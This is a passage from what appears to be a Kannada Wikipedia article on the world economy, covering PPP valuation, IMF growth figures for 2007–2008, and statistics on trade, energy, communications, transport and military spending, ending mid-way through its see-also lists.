ಆದರೆ, ಹೆಸರೇ ಹೇಳುವಂತೆ ಇವುಗಳಿಗೆ ಯಾವುದೇ ಕಾನೂನು ರೀತಿಯ ಮಾರುಕಟ್ಟೆಯಿಲ್ಲ. ಆದಾಗ್ಯೂ, ಕೆಲವು ಪ್ರಕರಣಗಳಲ್ಲಿ ನಿಖರವಾಗಿ ಮತ್ತು ಸಮರ್ಥ ಮಾರುಕಟ್ಟೆಗಳು ನಾಣ್ಯಗಳ ಮೌಲ್ಯಗಳನ್ನು ವಿಸ್ತರಣೆ ಮಾಡುತ್ತದೆ. ಅರ್ಥಶಾಸ್ತ್ರಜ್ಞರು ಪ್ರಾತಿನಿಧಿಕವಾಗಿ ಪ್ರಸ್ತುತ ಅಥವಾ ವ್ಯಾವಹಾರಿಕ ನಾಣ್ಯವಿನಿಮಯದ ದರವನ್ನು ವಿಶ್ವ ಆರ್ಥಿಕ ಸ್ಥಿತಿಗೆ ಅನುಗುಣವಾಗಿ ನಾಣ್ಯಗಳ ಗುಂಪುಗಳನ್ನು ಒಂದೇ ಗುಂಪಿನ ಆಧಾರದ ಮೇಲೆ ಅನುವಾದಿಸುತ್ತಾರೆ ಅಥವಾ ವರ್ಗೀಕರಿಸುತ್ತಾರೆ. ಈ ನಾಣ್ಯವಿನಿಮಯ ದರವು ಪ್ರಾತಿನಿಧಿಕವಾಗಿ ವಿಶ್ವದಾದ್ಯಂತ ಮೌಲ್ಯಗಳನ್ನು ಸಮೀಪವರ್ತಿಯಾಗಿ ಪ್ರತಿಬಿಂಬಿಸುತ್ತದೆ. ಉದಾಹರಣೆಗೆ ಮುದ್ರಿಸಿದ ಅಥವಾ ವ್ಯವಹಾರ ದರವನ್ನು ಸರ್ಕಾರವು ನಿಯಂತ್ರಣದಲ್ಲಿರಿಸುತ್ತದೆ. ಅದರ ಬದಲಾಗಿ, ಮಾರುಕಟ್ಟೆ ಮೌಲ್ಯಮಾಪನವು ಸ್ಥಳೀಯ ಹಣದಲ್ಲಿ ಪ್ರಾತಿನಿಧಿಕವಾಗಿ ಒಂದೇ ನಾಣ್ಯಗಳ ಪದ್ಧತಿಯನ್ನು ಬಳಸಿ, ಕೊಳ್ಳುವ ಶಕ್ತಿಯ ಚಿಂತನೆಯ ಆಧಾರದ ಮೇಲೆ ರೂಪಿಸಲಾಗುತ್ತದೆ. ಈ ವಿಧಾನವನ್ನು ಈ ಕೆಳಗಿನಂತೆ ಅನುಸರಿಸಲಾಗುತ್ತದೆ. ವಿಶ್ವವ್ಯಾಪಿ ಆರ್ಥಿಕ ಚಟುವಟಿಕೆಯಲ್ಲಿ ನೈಜ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಡಾಲರ್|ಅಮೆರಿಕಾ ಡಾಲರ್‌]]ನೊಂದಿಗೆ ಅಂದಾಜು ಮೊತ್ತವನ್ನು ನಿಗದಿ ಮಾಡಿ ಬಳಸಲಾಗುತ್ತದೆ. ಆದಾಗ್ಯೂ, ವಿಶ್ವ ಆರ್ಥಿಕತೆಯು ಇನ್ನೂ ಹಲವಾರು ವಿಧಗಳಲ್ಲಿ ಮೌಲ್ಯೀಕರಣಗೊಳ್ಳುತ್ತದೆ ಮತ್ತು ತೋರಿಸಿಕೊಳ್ಳುತ್ತದೆ. ಇದು ನಿಖರವಾಗಿಲ್ಲ. ಉದಾಹರಣೆಗೆ, ವಿಶ್ವದಲ್ಲಿರುವ 6.8 ಬಿಲಿಯನ್ ಜನರು ತಮ್ಮ ಹೆಚ್ಚಿನ ಆರ್ಥಿಕ ಚಟುವಟಿಕೆಯು ಈ ಎಲ್ಲ ಮೌಲ್ಯಗಳೊಂದಿಗೆ ಪ್ರತಿಫಲಿಸುತ್ತದೆ. ವಿಶ್ವದಲ್ಲಿ ಬಹುದೊಡ್ಡ ಆರ್ಥಿಕತೆಯನ್ನು [[ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಅಮೆರಿಕಾ]], [[ಚೀನಿ ಜನರ ಗಣರಾಜ್ಯ|ಚೀನಾ]], [[ಜರ್ಮನಿ]], [[ಯುನೈಟೆಡ್ ಕಿಂಗ್‍ಡಮ್|ಇಂಗ್ಲೆಂಡ್]], [[ಜಪಾನ್]] ಮತ್ತು [[ಫ್ರಾನ್ಸ್]] ದೇಶಗಳು ಹೊಂದಿವೆ. == ಆರ್ಥಿಕತೆ- ಅಧ್ಯಯನ == === 2007–2008 === [[ಚಿತ್ರ:Gdp nominal and ppp 2005 world map single colour.png|thumb|250px|right|ಸಿಐಎ‌ ವರ್ಲ್ಡ್ ಫ್ಯಾಕ್ಟ್‌ಬುಕ್‌ 2008ನ ಪ್ರಕಾರ ಪಿಪಿಪಿ-ಹೊಂದಾಣಿಕೆಯಾದ ಜಿಡಿಪಿಗೆ (ಮೇಲೆ) ಹೋಲಿಸಿದಾಗ ಒಟ್ಟು ನಾಮಮಾತ್ರ ಜಿಡಿಪಿ (ಕೆಳಗೆ)]] [[ಚಿತ್ರ:GDP PPP Per Capita IMF 2008.png|thumb|350px|right|ಜಿಡಿಪಿ (ಪಿಪಿಪಿ) ತಲಾವಾರು]] 2008ರಲ್ಲಿ ಗುಲಾಬಿಯ ವಿಶ್ವ ಉತ್ಪಾದನೆಯು (ವಿಶ್ವ ಸಮೃದ್ಧ ಉತ್ಪನ್ನ- ಗ್ರಾಸ್ ವರ್ಲ್ಡ್ ಪ್ರಾಡಕ್ಟ್) (ಜಿಡಬ್ಲ್ಯೂಪಿ) ಶೇಕಡಾ 3.2 ಆಗಿತ್ತು. ಇದರಲ್ಲಿ ಚೀನಾ ಪ್ರಥಮ ಸ್ಥಾನವನ್ನು ಪಡೆದಿದ್ದು (ಶೇಕಡಾ 9 ಅನ್ನು ಪಡೆದು ವಿಶ್ವ ಅಭಿವೃದ್ಧಿಯಲ್ಲಿ ಶೇಕಡಾ 21 ಅನ್ನು ಗಳಿಸಿದೆ), ಅಮೆರಿಕಾವು (ಶೇಕಡಾ 1.1 ಅನ್ನು ಗಳಿಸಿ ಶೇಕಡಾ 12 ಅಭಿವೃದ್ಧಿ ತೋರಿಸಿದೆ), [[ಯುರೋಪಿನ ಒಕ್ಕೂಟ|ಯುರೋಪ್ ಯೂನಿಯನ್‌]]ನಿಂದ (ಶೇಕಡಾ 0.9 ಅನ್ನು ಪಡೆದು ಅಭಿವೃದ್ಧಿಯಲ್ಲಿ ಶೇಕಡಾ 10.5 ಹಂಚಿಕೆ ಪಡೆಯಿತು), ಮತ್ತು [[ಭಾರತ]] (ಶೇಕಡಾ 7.3ರಷ್ಟು ಉತ್ಪಾದನೆ ಮಾಡುವ ಮೂಲಕ ಶೇ. 5.6ಕ್ಕೆ ಸಮನಾಗಿ ಒಟ್ಟಾರೆ ಹೆಚ್ಚಳಕ್ಕೆ ಸಹಕಾರಿಯಾಗಿದೆ. 12 ದೊಡ್ಡ ಆರ್ಥಿಕ ದೇಶಗಳಾದ (ಅಮೆರಿಕಾ, ಚೀನಾ, ಜಪಾನ್, ಜರ್ಮನಿ, ಫ್ರಾನ್ಸ್, ಇಂಗ್ಲೆಂಡ್, ಇಟಲಿ, ರಷ್ಯಾ, ಸ್ಪೇನ್, ಬ್ರೆಜಿಲ್, ಕೆನಡಾ ಮತ್ತು ಭಾರತ)ವು ಎಲ್ಲ ಆರ್ಥಿಕ ಚಟುವಟಿಕೆಯ ಅಭಿವೃದ್ಧಿಯ ಅರ್ಧ ಭಾಗವಾಗನ್ನು 2008ರಲ್ಲಿ ಕೊಡುಗೆಯಾಗಿ ನೀಡಿತ್ತು.<ref>ಐ‌ಎಮ್‌ಎಫ್‌‘’ವರ್ಲ್ಡ್ ಎಕನಾಮಿಕ್ ಔಟ್‌ಲುಕ್, ಏಪ್ರಿಲ್‌ 2009 http://www.imf.org/external/pubs/ft/weo/2009/01/index.htm</ref> ಅಭಿವೃದ್ಧಿಯ ಫಲಿತಾಂಶಗಳು ಸಮೃದ್ಧ ಅಥವಾ ಮುಂದುವರಿದ ಆರ್ಥಿಕ ಚಟುವಟಿಕೆಯನ್ನು ಹೊಂದಿದ್ದು, ಎರಡನೇ ಮೂರುಭಾಗದಿಂದ ನಿಧಾನವಾಯಿತು. 2007ರಲ್ಲಿ ಶೇಕಡಾ 2.7ರಷ್ಟು ಅಭಿವೃದ್ಧಿ ಹೊಂದಿದ್ದರೆ, 2008ರಲ್ಲಿ ಕೇವಲ ಶೇಕಡಾ 0.9 ಅನ್ನು ಹೊಂದಿತ್ತು. ಏಷ್ಯಾದಿಂದ ಹೊರಬಂದ ಕಾರಣ ಅಭಿವೃದ್ಧಿಯಲ್ಲಿ ನಿಧಾನಗತಿಯನ್ನು ಹೊಂದಿ ಶೇಕಡಾ 9.8ರಷ್ಟಿದ ಬೆಳವಣಿಗೆ ಶೇ. 6.8ಕ್ಕೆ ಕುಸಿಯಿತು. ಯುರೋಪ್ ನಿಂದ ಹೊರಬಂದ ಕಾರಣ ಶೇಕಡಾ 5.4ರಷ್ಟಿದ್ದ ಅಭಿವೃದ್ಧಿಯು ಶೇ. 2.9ಕ್ಕೆ ಬಂದಿತು. ಸ್ವತಂತ್ರ ದೇಶಗಳ ಸಮಾನ ಅಭಿವೃದ್ಧಿಯು ಶೇಕಡಾ 8.6ರಿಂದ 5.5ಕ್ಕೆ ಕುಸಿಯಿತು. (non-OECD) ಪಶ್ಚಿಮ ಗೋಳಾರ್ಧದಲ್ಲಿ ಶೇಕಡಾ 5.7ರಷ್ಟಿದ್ದ ಅಭಿವೃದ್ಧಿಯು ಶೇಕಡಾ 4.2ಕ್ಕೆ ಇಳಿಯಿತು. ಮಧ್ಯಪೂರ್ವದಲ್ಲಿ ಶೇ. 6.3ರಷ್ಟಿದ್ದ ಅಭಿವೃದ್ಧಿಯು ಶೇ. 5.9ಕ್ಕೆ ಬಂದಿತು. ಮತ್ತು ಆಫ್ರಿಕಾದಲ್ಲಿ ಶೇ. 6.2 ರಷ್ಟಿದ್ದ ಬೆಳವಣಿಗೆ ಶೇ. 5.2ಕ್ಕೆ ಕುಸಿಯಿತು.<ref>ಐ‌ಎಮ್‌ಎಫ್‌</ref> ಬಾಹ್ಯವಾಗಿ ರಾಷ್ಟ್ರಗಳ-ರಾಜ್ಯಗಳ ಕನಿಷ್ಠಮಟ್ಟದ ಆರ್ಥಿಕತೆ-ರಾಜಕೀಯ ಸಂಸ್ಥೆ, ಜನರ, ಸರಕುಗಳ, ದೇಣಿಗೆಗಳ ಮತ್ತು ತಂತ್ರಜ್ಞಾನಗಳ ಅಂತಾರಾಷ್ಟ್ರೀಯ ಹರಿವಿನ ದೃಢತೆಯ ಮೇಲಿನ ಹಿಡಿತವನ್ನು ಕಳೆದುಕೊಳ್ಳುತ್ತದೆ. ಕೇಂದ್ರ ಸರ್ಕಾರಗಳು ಹೆಚ್ಚಿನ ಶಕ್ತಿಯನ್ನು ಉತ್ಪತ್ತಿಮಾಡುವುದರಲ್ಲಿ ಮತ್ತು ಅಂತಾರಾಷ್ಟ್ರೀಯ ಸಂಗ್ರಹಣಾ ಶಕ್ತಿ ಬಗ್ಗೆಗಿನ ನಿರ್ಧಾರದಲ್ಲಿ ಹಿಡಿತತಪ್ಪುತ್ತವೆ. ಮತ್ತು ಇವು ಪ್ರಜಾಸತ್ತಾತ್ಮಕವಾಗಿ ಆರಿಸಿಕೊಂಡ ಬಲಯುತ ಆರ್ಥಿಕತೆಯ ಒಂದು ಭಾಗವಾಗಿದ್ದು, ಈ ನಿಟ್ಟಿನಲ್ಲಿ ಇಯು (EU)ವನ್ನು (ಯೂರೋ) ಆಯ್ಕೆಮಾಡಿಕೊಂಡಿದೆ. ಜನವರಿ 1999ರಲ್ಲಿ ಹೆಚ್ಚಿನ [[ಪಶ್ಚಿಮ ಯುರೋಪ್|ಪಾಶ್ಚಾತ್ಯ ಯುರೋಪ್]] ದೇಶದಲ್ಲಿ ಯೂರೋವನ್ನು ಸಾರ್ವಜನಿಕ ಹಣವನ್ನಾಗಿ ಬಳಕೆಗೆ ತರಲಾಯಿತು. ಈ ನೆಲಗಟ್ಟು ಆರ್ಥಿಕ ಶಕ್ತಿಕೇಂದ್ರವನ್ನು ಏಕೀಕರಿಸುವಲ್ಲಿ ಸಹಾಯಕವಾಯಿತು. ಆರ್ಥಿಕತೆಯ ತೊಂದರೆಯನ್ನು ಪ್ರತಿಪಾದಿಸಿತು. ಏಕೆಂದರೆ ಆದಾಯದಲ್ಲಿ ಏರುಪೇರುಗಳು ಆಗುತ್ತವೆ ಮತ್ತು ಸಾಂಸ್ಕೃತಿಕ ಹಾಗೂ ರಾಜಕಾಯ ವ್ಯತ್ಯಾಸಗಳು ದೇಶಗಳಲ್ಲಿ ಆಗುವುದು ಸಹಜವಾಗಿರುತ್ತದೆ. ಆಂತರಿಕವಾಗಿ ಸಂಪನ್ಮೂಲಗಳು ಕೇಂದ್ರ ಸರ್ಕಾರದ ಹಿಡಿತದಲ್ಲಿದ್ದರೂ ಸಹ ಪ್ರತ್ಯೇಕತಾ ವಾದಿಗಳ ಧಾರ್ಮಿಕ ಚಳವಳಿಗಳಿಂದ, ಪ್ರಾತಿನಿಧಿಕವಾಗಿ ಜನಾಂಗೀಯ ಗುಣಲಕ್ಷಣಗಳ ಆಧಾರದ ಮೇಲೆ ಅಭಿವೃದ್ಧಿಯ ಆವೇಗದಿಂದ ತಡೆ ಬರುವ ಸಾಧ್ಯತೆ ಇರುತ್ತದೆ. ಉದಾಹರಣೆಗೆ, ಕೆಲ ಯಶಸ್ವಿ ದೇಶಗಳಾದ ಮುಂಚಿನ [[ಸೊವಿಯೆಟ್ ಒಕ್ಕೂಟ|ಸೋವಿಯತ್ ಯೂನಿಯನ್]], ಮೊದಲಿನ ಯುಗಸ್ಲೋವಿಯಾ, ಭಾರತದಲ್ಲಿ, ಇರಾಕ್ ನಲ್ಲಿ ಹಾಗೂ ಇಂಡೋನೇಷ್ಯಾದಲ್ಲಿ ಈ ಪ್ರಭಾವಗಳನ್ನು ಕಾಣಬಹುದು. == ಸಂಖ್ಯಾಸೂಚಕಗಳು == === ಆರ್ಥಿಕತೆ === * ಜಿಡಿಪಿ'''[[ರಾಷ್ಟ್ರೀಯ ಉತ್ಪನ್ನ]] (ಜಿಡಬ್ಲು‌ಪಿ) (ವಿಶ್ವ ಸಮೃದ್ಧ ಉತ್ಪನ್ನ):''' (ಕೊಳ್ಳುವ ಸಾಮರ್ಥ್ಯದ ಹೋಲಿಕೆ ವಿನಿಮಯ ದರಗಳು) - $59.38 ಟ್ರಿಲಿಯನ್‌‌ （2005 est.), $51.48 ಟ್ರಿಲಿಯನ್‌‌ (2004), $23 ಟ್ರಿಲಿಯನ್‌‌ (2002) * '''[[ರಾಷ್ಟ್ರೀಯ ಉತ್ಪನ್ನ|ಜಿಡಿಪಿ]] (ಜಿಡಬ್ಲು‌ಪಿ) (ವಿಶ್ವ ಸಮೃದ್ಧ ಉತ್ಪನ್ನ):’’’<ref>ಐ‌ಎಮ್‌ಎಫ್‌ ‘’ಆಲ್ ಎಕಾನಮಿ, ಏಪ್ರಿಲ್‌ 2009 http://www.imf.org/external/pubs/ft/weo/2009/01/index.htm</ref>''' (ಮಾರುಕಟ್ಟೆ ವಿನಿಮಯ ದರಗಳು) - $60.69 ಟ್ರಿಲಿಯನ್‌‌ (2008) * '''ಜಿಡಿಪಿ - ನೈಜ ಅಭಿವೃದ್ದಿ ದರ:''' 3.2% (2008), 3.1% ಪ್ರತಿ ವರ್ಷಕ್ಕೆ. (2000-07), 2.4% ಪ್ರತಿ ವರ್ಷಕ್ಕೆ. (1990-99), 3.1% ಪ್ರತಿ ವರ್ಷಕ್ಕೆ. (1980-89) * '''ಜಿಡಿಪಿ - per capita:''' ಕೊಳ್ಳುವ ಸಾಮರ್ಥ್ಯದ ಹೋಲಿಕೆ - $9,300 (2005 est.), $8,200 (92) (2003), $7,900 (2002) * '''ಜಿಡಿಪಿ - ವಿಭಾಗಗಳ ಆಧಾರದಲ್ಲಿ ಹೋಲಿಕೆ:''' ಕೃಷಿ: 4%; ಕೈಗಾರಿಕೆ: 32%; ಸೇವೆಗಳು: 64% (2004 est.) * '''[[ಹಣದುಬ್ಬರ]] ದರ (ಗ್ರಾಹಕರ ಬೆಲೆಗಳು):''' ಅಬಿವೃದ್ಧಿ ಹೊಂದಿದ ದೇಶಗಳು 1% to 4%; ಅಬಿವೃದ್ಧಿ ಹೊಂದುತ್ತಿರುವ ದೇಶಗಳು 5% to 60%;ಪ್ರತ್ಯೇಕ ಸಂದರ್ಭಗಳಲ್ಲಿ ರಾಷ್ಟ್ರೀಯ ಹಣದುಬ್ಬರ ದರವು ಬದಲಾಗುತ್ತದೆ,ಜಪಾನ್‌ನಲ್ಲಿ ಹಣದ ಬೆಲೆ ಕುಸಿತದಿಂದಾಗಿ ಅನೇಕ ಪ್ರಪಂಚದ ತೃತೀಯ ರಾಷ್ಟ್ರಗಳಿಗೆ ಹೆಚ್ಚಿನ ಹಣದುಬ್ಬರವುಂಟಾಗುತ್ತದೆ (2003) * '''ಬಾಕಿ ಉಳಿದ ರಾಷ್ಟ್ರದ ಹಣದ [[ಉತ್ಪನ್ನ (ಹಣಕಾಸು)|ನಿಷ್ಪನ್ನಗಳು]] ''' : $273 ಟ್ರಿಲಿಯನ್‌‌ ( ಜೂನ್‌ 2004 ಕೊನೆಯ ವೇಳೆಗೆ), $84 ಟ್ರಿಲಿಯನ್‌‌ (ಜೂನ್‌ 1998 ಕೊನೆಯ ವೇಳೆಗೆ) ([http://www.bis.org/publ/otc_hy0412.htm ]) * '''ವಿಶ್ವದ ಸಾಲ ಪ್ರಕಟಣೆಗಳು''' : $5.187 ಟ್ರಿಲಿಯನ್‌‌ (2004), $4.938 ಟ್ರಿಲಿಯನ್‌‌ (2003), $3.938 ಟ್ರಿಲಿಯನ್‌‌ (2002) (ಥಾಮ್ಸನ್ ಫೈನಾನ್ಸಿಯಲ್ ಲೀಗ್ ಟೇಬಲ್ಸ್) * '''ವಿಶ್ವದ ಇಕ್ವಿಟಿ ಪ್ರಕಟಣೆಗಳು''' : $505 ಬಿಲಿಯನ್‌ (2004), $388 ಬಿಲಿಯನ್‌ (2003), $319 ಬಿಲಿಯನ್‌ (2002) (ಥಾಮ್ಸನ್ ಫೈನಾನ್ಸಿಯಲ್ ಲೀಗ್ ಟೇಬಲ್ಸ್) === ಉದ್ಯೋಗ === [[ಚಿತ್ರ:World GDP per capita 1500 to 2003.png|350px|thumb|1500-2003ರ ನಡುವಿನ ವಿಶ್ವದ ತಲಾ ಜಿಡಿಪಿ]] [[ಚಿತ್ರ:Gdp accumulated change.png|right|thumb|350px|ಜಿಡಿಪಿ ಹೆಚ್ಚಳ, 1990-1998 ಮತ್ತು 1990-2006, ಪ್ರಮುಖ ದೇಶಗಳಲ್ಲಿ.]] * '''[[ನಿರುದ್ಯೋಗ]] ದರ:''' 8.7% (2009 est.). 30% (2007 est.) ನಿರುದ್ಯೋಗ ಮತ್ತು ಕೈಗಾರಿಕರಣಗೊಂಡಿಲ್ಲದ ದೇಶಗಳಲ್ಲಿನ ಉದ್ಯೋಗದಲ್ಲಿರುವವರನ್ನು ಸೇರಿಸಿ; ಅಬಿವೃದ್ಧಿ ಹೊಂದಿದ ದೇಶಗಳು ಸುಮಾರು 4%-12% ನಿರುದ್ಯೋಗ. === ಕೈಗಾರಿಕೆಗಳು === * '''ಕೈಗಾರಿಕೋತ್ಪನ್ನದ ಅಭಿವೃದ್ಧಿ ದರ:''' 3% (2002 est.) === ಇಂಧನ === * '''ವಾರ್ಷಿಕ ವಿದ್ಯುತ್‌ - ಉತ್ಪಾದನೆ:''' 15,850,000 ಪ್ರತಿ ಗಂಟೆಗೆ ಗಿವ್ಯಾ (2003 est.), 14,850,000 ಪ್ರತಿ ಗಂಟೆಗೆ ಗಿವ್ಯಾ (2001 est.) * '''ವಾರ್ಷಿಕ ವಿದ್ಯುತ್‌ - ಬಳಕೆ:''' 14,280,000 ಪ್ರತಿ ಗಂಟೆಗೆ ಗಿವ್ಯಾ (2003 est.), 13,930,000 ಪ್ರತಿ ಗಂಟೆಗೆ ಗಿವ್ಯಾ (2001 est.) * ತೈಲ''' - ಉತ್ಪಾದನೆ:''' {{convert|79650000|oilbbl/d|abbr=on}} (2003 est.), {{convert|75460000|oilbbl/d}} (2001) * '''ತೈಲ - ಬಳಕೆ:''' {{convert|80100000|oilbbl/d|abbr=on}} (2003 est.), {{convert|76210000|oilbbl/d}} (2001) * '''''' ತೈಲ - ಇರುವ ದಾಸ್ತಾನುಗಳು 1.025 ಟ್ರಿಲಿಯನ್‌‌ ಬ್ಯಾರೆಲ್‌ (163&nbsp;ಕಿಮೀ³) (2001 est.) * '''ನಿಸರ್ಗಾನಿಲ - ಉತ್ಪಾದನೆ:''' 2,569&nbsp;ಕಿಮೀ³ (2001 est.) * '''ನಿಸರ್ಗಾನಿಲ - ಬಳಕೆ:''' 2,556&nbsp;ಕಿಮೀ³ (2001 est.) * '''ನಿಸರ್ಗಾನಿಲ - ಇರುವ ದಾಸ್ತಾನುಗಳು:''' 161,200&nbsp;ಕಿಮೀ³ (1 ಜನವರಿ 2002) === ಗಡಿಯಾಚೆ === * '''ವಾರ್ಷಿಕ ರಫ್ತುಗಳು:''' $12.4 ಟ್ರಿಲಿಯನ್‌‌ (2009 est.) * ರಫ್ತುಗಳು''' - ಸರಕುಗಳು:''' ಪೂರ್ಣ ಹಂತದ ಕೈಗಾರಿಕಾ ಮತ್ತು ಕೃಷಿಯ ಸರಕು ಮತ್ತು ಸೇವೆಗಳು * '''ರಫ್ತುಗಳು - ಪಾಲುದಾರರು:''' ಯುಎಸ್‌ 12.7%, ಜರ್ಮನಿ‌ 7.1%, ಚೀನಾ 6.2%, ಫ್ರಾನ್ಸ್‌ 4.4%, ಜಪಾನ್‌ 4.2%, ಯುಕೆ 4.1% (2008) * '''ವಾರ್ಷಿಕ ಆಮದುಗಳು:''' $12.29 ಟ್ರಿಲಿಯನ್‌‌ (2009 est.) * ಆಮದುಗಳು''' - ಸರಕುಗಳು:''' ಪೂರ್ಣ ಹಂತದ ಕೈಗಾರಿಕಾ ಮತ್ತು ಕೃಷಿಯ ಸರಕು ಮತ್ತು ಸೇವೆಗಳು * '''ಆಮದುಗಳು - ಪಾಲುದಾರರು:''' ಚೀನಾ 10.3%, ಜರ್ಮನಿ‌ 8.6%, ಯುಎಸ್‌ 8.1%, ಜಪಾನ್‌ 5% (2008) * '''ಸಾಲ - ಹೊರಗೆ:''' $56.9 ಟ್ರಿಲಿಯನ್‌‌ (31 ಡಿಸೆಂಬರ್‌ 2009 est.) === ಕೊಡುಗೆಯ ಆರ್ಥಿಕತೆ === * '''ವಾರ್ಷಿಕ ಆರ್ಥಿಕ ಸಹಾಯ - ಗ್ರಾಹಕ:''' ಅಫಿಶಿಯಲ್ ಡೆವಲಪ್‌ಮೆಂಟ್ ಅಸಿಸ್ಟೆನ್ಸ್‌ (ಒಡಿಎ) $50 ಬಿಲಿಯನ್‌ === ಸಂವಹನ === '''ಟೆಲಿಫೋನುಗಳು‌ - ಬಳಕೆಯಲ್ಲಿರುವ ಮುಖ್ಯ ಮಾರ್ಗಗಳು:''' 843,923,500 (2007)<br />4,263,367,600 (2008) * '''ಟೆಲಿಫೋನುಗಳು‌ - ಮೊಬೈಲ್ ಫೋನುಗಳು:''' 3,300,000,000 (Nov. 2007)<ref name="reuters50">[http://investing.reuters.co.uk/news/articleinvesting.aspx?type=media&amp;storyID=nL29172095 ವಿಶ್ವವ್ಯಾಪಿ ಮೊಬೈಲ್ ತೂರಿಕೆಯು 50 ಪ್ರತಿಶತ ತಲುಪುತ್ತಿದೆ]</ref> * ಇಂಟರ್ನೆಟ್‌ ಸೇವೆಯನ್ನೊದಗಿಸುವವರು''' (ಐಎಸ್‌ಪಿಗಳು):''' 10,350 (2000 est.) * '''[[ಅಂತರ್ಜಾಲ|ಇಂಟರ್ನೆಟ್‌‌]] ಬಳಕೆದಾರರು:''' 1,311,050,595 (ಜನವರಿ 18, 2008 [http://www.internetworldstats.com ] est.), 1,091,730,861 (ಡಿಸೆಂಬರ್‌ 30, 2006 [http://www.internetworldstats.com/stats.htm ] est.), 604,111,719 (2002 est.) === ಸಾರಿಗೆ === ಪ್ರಪಂಚದಾದ್ಯಂತ ಸಾರಿಗೆ ವ್ಯವಸ್ಥೆಯ ರಚನೆಗಳೆಂದರೆ: * '''ವಿಮಾನ ನಿಲ್ದಾಣಗಳು''' ** ಒಟ್ಟು: 49,973 (2004) * '''ರಸ್ತೆಗಳು''' (ಕೊಲೊಮೀಟರಿಗಳಲ್ಲಿ) ** ಒಟ್ಟು: 32,345,165&nbsp;ಕಿಮೀ ** ಕಲ್ಲು ಹಾಸಿನ ರಸ್ತೆ: 19,403,061&nbsp;ಕಿಮೀ ** ಕಚ್ಚಾ ರಸ್ತೆ: 12,942,104&nbsp;ಕಿಮೀ (2002) * '''ರೈಲುಮಾರ್ಗ''' ** ಒಟ್ಟು: 1,122,650&nbsp;ಕಿಮೀಯಲ್ಲಿ ಸುಮಾರು 190,000ರಿಂದ 195,000&nbsp;ಕಿಮೀ ವಿದ್ಯುತ್ತೀಕರಿಸಿಸದ ರಸ್ತೆಯಲ್ಲಿ 147,760ಯಷ್ಟು&nbsp;ಕಿಮೀ [[ಯುರೋಪ್|ಯುರೋಪ್‌]]ನಲ್ಲಿದೆ, 24,509&nbsp;ಕಿಮೀಯು ಪಾರ್ ಈಸ್ಟ್, 11,050&nbsp;ಕಿಮೀಯು [[ಆಫ್ರಿಕಾ]], 4,223&nbsp;ಕಿಮೀಯು [[ದಕ್ಷಿಣ ಅಮೇರಿಕ|ದಕ್ಷಿಣ ಅಮೇರಿಕಾ]], ಮತ್ತು 4,160&nbsp;ಕಿಮೀಯು [[ಉತ್ತರ ಅಮೇರಿಕ|ಉತ್ತರ ಅಮೇರಿಕಾ]]ದಲ್ಲಿದೆ. === ಮಿಲಿಟರಿ === * '''ಸೈನ್ಯದ ವೆಚ್ಚಗಳು - ಡಾಲರ್‌ಗಳಲ್ಲಿ:''' 1999ರಲ್ಲಿನ ಪ್ರಪಂಚದಾದ್ಯಂತ ಸೈನ್ಯದ ನೈಜ ವೆಚ್ಚಗಳು 1998ದಷ್ಟಿದ್ದವು, ಸುಮಾರು $750 ಬಿಲಿಯನ್‌, ಅದರಲ್ಲಿ ಸುಮಾರು 1/2 ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಖರ್ಚು ಮಾಡುತ್ತಿದೆ(1999) * '''ಸೈನ್ಯದ ವೆಚ್ಚಗಳು - [[ರಾಷ್ಟ್ರೀಯ ಉತ್ಪನ್ನ|ಜಿಡಿಪಿ]]ಯಲ್ಲಿ ಪ್ರತಿಶತ:''' ಸುಮಾರು ವಿಶ್ವ ಸಮೃದ್ಧ ಉತ್ಪನ್ನದ 2%ರಷ್ಟು (1999). == ಇವನ್ನೂ ಗಮನಿಸಿ == * ''[[Common Wealth: Economics for a Crowded Planet]]'' (ಪುಸ್ತಕ) * ಜಾಗತೀಕತೆ * [[ಜಾಗತೀಕರಣ]] * ವ್ಯಾಪಾರದ ಮಾರ್ಗ * ''ವಿಶ್ವ ವ್ಯಾಪಾರ ವರದಿ'' * [[The World Economy: Historical Statistics]] '''ಪ್ರಾದೇಶಿಕ ಆರ್ಥಿಕತೆ:''' * ಆಫ್ರಿಕಾದ ಆರ್ಥಿಕತೆ * ಏಷ್ಯಾದ ಆರ್ಥಿಕತೆ * ಯುರೋಪ್‌‌ನ ಆರ್ಥಿಕತೆ * ಉತ್ತರ ಅಮೇರಿಕಾದ ಆರ್ಥಿಕತೆ * ಒಶಿಯಾನಿಯಾದ ಆರ್ಥಿಕತೆ * ದಕ್ಷಿಣ ಅಮೇರಿಕಾದ ಆರ್ಥಿಕತೆ '''ಕಾರ್ಯಕ್ರಮಗಳು''' * 2007–2008ರ ವಿಶ್ವ ಆಹಾರ ಬೆಲೆ ಬಿಕ್ಕಟ್ಟು * 2000ನೇ ಇಸವಿಯ ಅಂತ್ಯದಲ್ಲಿನ ಕುಸಿತ * 2003ದಿಂದ ಏರಿದ ತೈಲ ಬೆಲೆ '''ಪಟ್ಟಿಗಳು:''' * ಜಿಡಿಪಿ ವಲಯದ ಪ್ರಕಾರ ದೇಶಗಳ ಪಟ್ಟಿ * ವಿಶ್ವದ ದೊಡ್ಡ ಆರ್ಥಿಕತೆಗಳ ಪಟ್ಟಿ (ನಾಮಮಾತ್ರ) - ಪ್ರಸ್ತುತ [[ನಗದು|ಕರೆನ್ಸಿ]] ಮಾರುಕಟ್ಟೆ ವಿನಿಮಯ ದರಗಳನ್ನಾಧರಿಸಿ * ವಿಶ್ವದ ದೊಡ್ಡ ಆರ್ಥಿಕತೆಗಳ ಪಟ್ಟಿ (ಪಿಪಿಪಿ) - ಕೊಳ್ಳುವ ಸಾಮರ್ಥ್ಯದ ಹೋಲಿಕೆಯನ್ನಾಧರಿಸಿ * ಪೂರ್ವದಲ್ಲಿನ ವಿಶ್ವದ ದೊಡ್ಡ ಆರ್ಥಿಕತೆಗಳ ಪಟ್ಟಿ(ನಾಮಮಾತ್ರ) - 1998ದಿಂದ 2003ರ ನಡುವಿನ ವರ್ಷಗಳು * [[ವಿವಿಧ ದೇಶಗಳ ಹಿಂದಿನ ಒಟ್ಟು ಆರ್ಥಿಕ ಉತ್ಪನ್ನಗಳ ಪಟ್ಟಿ|ಪೂರ್ವದಲ್ಲಿನ ವಿಶ್ವದ ದೊಡ್ಡ ಆರ್ಥಿಕತೆಗಳ ಪಟ್ಟಿ(ಪಿಪಿಪಿ)]] - 1 ಮತ್ತು 